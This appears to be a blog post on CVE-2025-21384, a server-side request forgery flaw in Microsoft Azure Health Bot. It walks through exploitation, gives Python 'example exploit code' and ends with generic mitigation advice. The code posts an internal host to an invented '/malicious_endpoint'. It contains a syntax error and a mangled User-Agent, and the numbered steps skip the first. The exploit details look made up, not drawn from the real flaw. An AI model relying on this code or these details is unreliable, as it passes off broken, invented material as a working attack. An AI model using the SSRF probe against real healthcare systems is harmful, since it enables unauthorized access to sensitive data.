A newly discovered vulnerability, CVE-2025-21384, details how an authenticated attacker can exploit a Server-Side Request Forgery (SSRF) flaw in Microsoft Azure Health Bot, a platform for creating health-related conversational experiences. Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data, privilege escalation over a network, and potentially, remote code execution. This post aims to provide an overview of the vulnerability, its exploitation, and provide a code snippet as an example.

References to original material

1. Microsoft Azure Health Bot Official Website
2. CVE-2025-21384 Details

Exploit Details

The vulnerability is present in the Azure Health Bot platform and can be exploited by an authenticated attacker. An attacker can forge a malicious HTTP request in an attempt to trick the server into providing unauthorized access to sensitive information found within internal systems.

Create a malicious HTTP request targeting the Azure Health Bot.

2. Upon successful exploitation, the server processes the attacker's request, which in turn allows the attacker to access restricted areas and resources.
3. The attacker may then attempt to elevate their privileges, resulting in further unauthorized actions being performed.

Example Exploit Code

The following hypothetical code snippet demonstrates a possible SSRF attack against the Microsoft Azure Health Bot:

import requests

def ssrf_attack(url, target):
    headers = {
        'User-Agent': 'Mozilla/5. (Windows NT 10.; Win64; x64; rv:90.) Gecko/20100101 Firefox/90.', 
        'Content-Type': 'application/json'
    }

    data = {
        'request': f'http://{target}/';
    }

    response = requests.post(url, json=data, headers=headers)
    return response

if __name__ == "__main__":
    target = "internal.example.com"
    azure_health_bot_url = "https://<INSERT-YOUR-AZURE-HEALTH-BOT-URL-HERE>/malicious_endpoint";
    response = ssrf_attack(azure_health_bot_url, target)

    if response.status_code == 200:
        print("SSRF Attack Successful!")
    else:
        print("SSRF Attack Failed.")

Please note that the above code is for demonstrative purposes and should not be used for malicious actions.

Mitigation

Microsoft has not yet released a patch for this vulnerability, so users are encouraged to closely monitor their Azure Health Bot instances for any signs of unauthorized access and take appropriate precautions. Regularly reviewing logs and implementing network segmentation can help reduce the potential impact of this vulnerability.

Conclusion

The CVE-2025-21384 SSRF vulnerability in Microsoft Azure Health Bot highlights the critical nature of securing web applications and services, particularly within the health care industry. As attacks on these types of systems continue to rise, organizations must prioritize securing their infrastructure and closely monitoring for signs of exploitation. Ensuring that all software is up to date, regularly reviewing logs and employing strict access controls can help minimize the overall risk.

Timeline

Published on: 04/01/2025 01:15:17 UTC
Last modified on: 04/03/2025 21:15:15 UTC